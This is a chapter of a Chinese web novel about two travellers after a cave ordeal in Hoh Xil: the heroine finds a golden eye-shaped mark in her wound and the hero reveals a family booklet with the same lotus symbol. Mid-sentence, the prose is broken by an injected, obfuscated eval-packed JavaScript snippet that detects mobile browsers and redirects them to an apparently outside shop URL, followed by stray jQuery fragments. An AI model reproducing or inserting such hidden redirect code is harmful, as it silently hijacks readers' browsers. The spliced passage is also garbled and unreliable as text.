路远看曾希玥左右为难的样子心态倒是更平和些:“你可看不住你哥,看住你自己吧,对了,你的旅拍记得给我个好评。”
曾希玥朝他做了个鬼脸,依依不舍地走了,闹腾了一上午,范清妤的出院手续也还没办。
路远道:“真不需要多休息两天?不冻泉的车子,我和高山去帮你开回来就好。”
马高山翻了个白眼:“大哥,你做好事问过我了吗?经历昨天那洞穴惊魂,虽然保住了条命,但也不知道招惹了什么人,我心情郁闷着呢。再说,我姐那边,我总得回去帮忙吧。”
“是的是的,不能麻烦你们了。”范清妤急忙澄清:“我自己负责就好。”
马高山自知急了,语气缓和了几分:“路哥该帮你的他无话可说,我也不打扰你们了,今天我姐夫会从格尔木回家,我搭他的车走。改日山水有相逢,范小姐,还是麻烦你帮我们宣传宣传民宿啊!”
“那是当然,我可还会回来的。”
马高山言尽于此,他本来也只想着陪路远来见范清妤一面,接下来的事,他可就不趟浑水了。他对着路远一眨眼,潇洒地走了,刚刚好留下一缕清风。
路远心里骂他溜得贼快,而原本热热闹闹甚至拥挤的病房,就这样冷清下来。
他和范清妤两人一个对视,想说的话太多,一时间全部堵在胸口。他顿了顿:“边走边说吧。”
两人办好出院手续,又准备了些干粮,重新从格尔木出发,再走青藏公路。
但这次的心境和三天前已经截然不同。
范清妤当然不相信所谓时空轮回的说法,但既然曾家这么执着,这事情就必定不是空穴来风。
“玄墨玉只有那一块吗?如果小玥说得是真的,我觉得其他人手里可能也有这种玉。”
“确实有可能。”路远把着方向盘,他心想,既然可可西里存在这么一个祭祀洞穴,那其他地方也可能会有:“从地质学的角度,一种矿产资源不可能只有那么一点。说到底,是福不是祸,是祸躲不过。”
“你心态倒好。”
“心态不好怎么在这世道混,话说回来,清妤,你准备什么时候回长洲?”
“明天吧。”
“这么快?”
“是啊,得回去挨批,还得去参加婚礼。”范清妤整个人窝在座椅里面,左肩的伤口还隐隐作痛,她只能尽量找一个自己舒服的姿势。
“哪趟航班,我和你一起走。”
“啊?”
“我之前也在长洲待过几年,你刚才听曾海佑说了吗,我在长洲还得过奖的,这次干脆故地重游,也回去看看老友。对了,你要参加的婚礼是什么时候?”
“嗯,就在下周。”范清妤说起婚礼,神色之中笼罩着一种难以言喻的惆怅。
路远将她这分惆怅尽收眼底,他问:“看起来,你其实不是很开心?”
“没有。”范清妤急忙解释:“只是有些感慨,其实人生路上,你无法预计和你结婚走过一生的人到底是谁。”
她这感慨太深邃,令路远不由放慢了行车速度。
他没敢再问话,怕揭开范清妤心里的伤疤。
……
第二天,飞机如期降落在长洲的机场。纵使已是深秋,长洲的气候依然温润,这让范清妤和路远两位从高原过来的旅人有些许不适。但他们对这种天气也已经习以为常,两人互相调侃了几句,当是对这座四季无法分明的城市的吐槽。
两人在机场分道扬镳。范清妤搭地铁,路远有朋友来接。
路远原本当然是想自己送范清妤一程,可没想到张骏非得亲自来接他,他那个兄弟不是省油的灯,行为风格远比马高山不靠谱得多,他和范清妤关系未明,不适宜让张骏搅和进来。
好在范清妤本就推辞说不用他送,他便也没有坚持。
长洲除了空气比格尔木更加温和湿润,也比格尔木气派得多,就算是机场,从整个机场的规模以及匆忙起降的飞机数量上,都能显而易见的感知到这点。
已经入夜了,霓虹灯伴着若隐若现的月亮照亮天空,这里的月远没有高原那里明亮,就像是被迫营业而不得不挂在天空上那样应付着发光。
路远走到私家车乘车点等着,来往行人行色匆匆,脚步频率都比格尔木要快上一倍,他的心情竟也被弄得急躁起来,不由得拨通电话质问对方:“16号门,还没到吗?”
“到了到了,我都看见你了我的路大帅哥,您老一回来这气势不减当年啊!”
路远听言顺势往左看了看,确实肉眼可见,张骏那辆张扬的红色保时捷911正在缓行,大约还有五个车位可以到他这里。
一上车,他就看见了张骏五官乱飞的夸张表情,张骏长得有几分女相,总体是个清秀的模样,衣着光鲜,名牌加身,还是那副斯文败类的即视感。
“路远,可能把你盼回来了,今夜不醉不归!”
实则是个缺心眼认死理的富家公子。
“好啊,两年不见,也不知道你酒量退步了没,今夜可得好好比比。”
“你不够意思,两年才回来这一次,真喜欢当个山野村夫了?”
“你才是,张公子你这种财富自由的人,不去爬爬雪山当个消遣,天天这么瞎忙着何必呢?”
“好了你可别揶揄我了,这两年餐饮业不好做,经商如逆水行舟,不进则退,哪像你一个人潇洒自在,我家里还有多少员工要吃饭的。”
“那最近在忙什么,又去哪个商圈扩大店面?”
“可别说了,最近水逆,被人黑,我忙着收拾烂摊子呢,你说现在这时代无良媒体也忒无良了,为了流量博眼球什么都做得出。”
“谁把张公子惹急了眼,我倒想见识见识。”
“她有什么好见识的,我告诉你,我现在想好了一个策划,就用雪山自然元素来衬托我们家的菜品拍个宣传片力挽狂澜,主打有机自然,你既然回来了,给我当监制啊。”
“所以说我不想回长洲,这不立马又变打工的了。”路远无奈摇头。
“清闲这么久,不再搞点事情别人都快忘了你了,我们合作,双赢不好吗?”
“好。吃人家嘴软,张公子的命令,我哪敢不从。”
……
长洲的夜生活一如既往的丰富,但范清妤今天实在不想掺和,她默默搭上地铁,机械式地回了家。
不开灯的情况下,她可以透过阳台看到对面的万家灯火。与高原一望无垠的荒原截然不同,这里太有人间烟火味了。
她没功夫感慨这种反差,而是急忙开了灯,进了洗手间。
左肩的伤还在隐隐作痛,她脱下衣服认真观察着那些可怕的伤痕,再一次承认她在可可西里确实经历了一次让人难以置信的冒险。但好像还不止如此,仔细看来,那些暗红的伤疤中间,竟然还分布着几道金黄色的纹路,那些纹路并不杂乱,而且互相组成了一个…眼睛的轮廓。
范清妤甩了甩头,凑进了镜子,仔细再看了看。
那些金黄色的纹路像若隐若现的血管,“眼睛”摸上去也没有什么凸起的感觉,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565601|204727||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像是被印上去的,而且直接印到了真皮层。
范清妤将屋里所有的灯都打开,她尽量冷静地按照医生的吩咐处理伤口,一番收拾之后,那金黄色的纹路还在,且越发刺眼。
范清妤无法解释这种现象,她想上网查查有没有这种先例,继而打开了手机。
三分钟之前路远发来了一条消息,询问她是否到家。
范清妤鼻头一下子酸了。
这种委屈源自一个并不熟悉的朋友的问候。在她害怕、慌乱的时候,这问候直戳内心。她不敢和其他人诉说洞里的经历,同时发现自己无法承受这些经历可能暗藏的危机。
她害怕这些金黄色的纹路意味着某种病毒感染或者什么传说中的诅咒。那洞里未知的事情太多了,林墨能疯傻掉,她也可能染上什么不治之症。
长久以来的我行我素的风格让她看起来雷厉风行,但其实,她自嘲式的想,自己不过也是个贪生怕死的俗人。
她索性拨通了路远的语音电话,那头的人很快接通。
“路远……”范清妤顿了顿:“能麻烦你陪我去一趟医院吗?”
……
当路远匆忙赶到人民医院的时候,范清妤正在等待抽血结果,她还约了个CT,约在一周以后。
医生看过她的伤口,当然无法解释那些金黄色的纹路。他虽然安慰范清妤这可能只是身体自我修复过程中可能出现的自然情况,但无法解释这金黄色的纹路为什么会像一只眼睛,更无法解释为什么没有其他的先例有这种病情记录。
只能是一切皆属巧合。
“清妤。”路远看见坐在等候椅上的范清妤,他边喊着边跑了过去。
范清妤心中感激,朝他笑了笑:“谢谢你来。”
她闻到路远身上有些酒味,这酒味还不算浓郁,只恰到好处,显得这个人已经变成了一个长洲人,不再是高原上那个随心所欲的游侠。
“打扰你了,你原本和朋友在一起吧?”
“你的伤怎么样,检查结果出来了么?”路远摇头,他不是和范清妤客气,而是真的担心。
范清妤将自己的发现如实告诉了他,“你的身体有什么变化吗?”她问。
夜晚的医院急诊来来往往很多人,路远就这样坐在范清妤旁边,两人像是一对熟识的恋人。
路远的呼吸炙热,酒精顺着他的血液挥发,但他毫无醉意,他看见范清妤紧握的双拳,自然也看出了她心里的紧张和挣扎。
若非如此,她不会轻易叫别人来陪她。
“我暂时没事。”他说。
“我不信鬼神的,但这真的是巧合吗?”范清妤问。
“不是。”路远道:“不关鬼神的事,但一定有原因,清妤,给我看看你的伤口,行吗?”
手机叮一声响,是部分检验有了结果。
范清妤立刻点开手机,检验结果十分正常。
她没有直接回答路远,这让她觉得自己有些矫情,把人家叫来,纯粹是自己私心希望而已,她理应把自己的担心合盘托出,又害怕,不敢让他看自己的伤口。
洞穴里两人肌肤相触的情景浮现在她脑海,她把头埋得更低,干脆不敢去看路远。
“清妤,其实我有个秘密。”路远道:“我见过那个莲花图案。”
“什么?”
“就是三头人雕像背后的那朵莲花,我在我家祖传的一本册子里见过。”路远看着她:“如果你愿意,我们回老家去看看那本册子,我老家离长洲不远,那本册子上,或许记载了什么。”